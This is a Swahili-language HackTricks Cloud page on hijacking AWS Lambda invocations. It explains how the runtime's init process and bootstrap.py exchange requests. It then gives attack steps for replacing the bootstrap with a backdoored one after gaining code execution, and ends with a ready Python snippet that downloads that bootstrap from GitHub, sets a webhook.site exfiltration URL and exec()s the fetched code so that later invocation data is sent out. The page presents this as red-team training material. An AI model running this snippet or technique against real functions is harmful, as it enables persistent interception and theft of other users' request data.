AWS - Pora Lambda Maombi
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Mchakato wa Lambda
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer ni mchakato nje ya kontena ambao inatuma maombi kwa mchakato wa init.
- Mchakato wa init unasikiliza kwenye bandari 9001 ukifichua baadhi ya maeneo ya kuvutia:
/2018-06-01/runtime/invocation/next
– pata tukio la maombi linalofuata/2018-06-01/runtime/invocation/{invoke-id}/response
– rudisha jibu la handler kwa ombi/2018-06-01/runtime/invocation/{invoke-id}/error
– rudisha kosa la utekelezaji
- bootstrap.py ina mzunguko unaopata maombi kutoka kwa mchakato wa init na inaita msimbo wa watumiaji kushughulikia maombi hayo (
/next
). - Hatimaye, bootstrap.py inatuma kwa init jibu
Kumbuka kwamba bootstrap inachukua msimbo wa mtumiaji kama moduli, hivyo utekelezaji wowote wa msimbo unaofanywa na msimbo wa watumiaji unafanyika katika mchakato huu.
Kuiba Maombi ya Lambda
Lengo la shambulio hili ni kufanya msimbo wa watumiaji utekeleze mchakato mbaya wa bootstrap.py
ndani ya mchakato wa bootstrap.py
unaoshughulikia ombi lenye udhaifu. Kwa njia hii, mchakato wa bootstrap mbaya utaanza kuzungumza na mchakato wa init ili kushughulikia maombi wakati bootstrap halali ime kwama ikifanya mchakato mbaya, hivyo haitahitaji maombi kwa mchakato wa init.
Hii ni kazi rahisi kufanikisha kwani msimbo wa mtumiaji unatekelezwa na mchakato halali wa bootstrap.py
. Hivyo mshambuliaji anaweza:
- Kutuma matokeo ya uwongo ya ombi la sasa kwa mchakato wa init, hivyo init inafikiri mchakato wa bootstrap unangojea maombi zaidi.
- Ombi lazima litumwe kwa
/${invoke-id}/response
- Invoke-id inaweza kupatikana kutoka kwenye stack ya mchakato halali wa
bootstrap.py
kwa kutumia moduli ya python inspect (kama ilivyopendekezwa hapa) au tu kuomba tena kwa/2018-06-01/runtime/invocation/next
(kama ilivyopendekezwa hapa). - Tekeleza
boostrap.py
mbaya ambayo itashughulikia maombi yanayofuata - Kwa ajili ya kujificha, inawezekana kutuma vigezo vya maombi ya lambda kwa C2 inayodhibitiwa na mshambuliaji na kisha kushughulikia maombi kama kawaida.
- Kwa shambulio hili, inatosha kupata msimbo wa asili wa
bootstrap.py
kutoka kwenye mfumo au github, ongeza msimbo mbaya na uendeshe kutoka kwenye ombi la sasa la lambda.
Hatua za Shambulio
- Pata udhaifu wa RCE.
- Tengeneza bootstrap mbaya (mfano https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- Tekeleza bootstrap mbaya.
Unaweza kwa urahisi kufanya vitendo hivi ukikimbia:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Kwa maelezo zaidi angalia https://github.com/carlospolop/lambda_bootstrap_switcher
Marejeo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.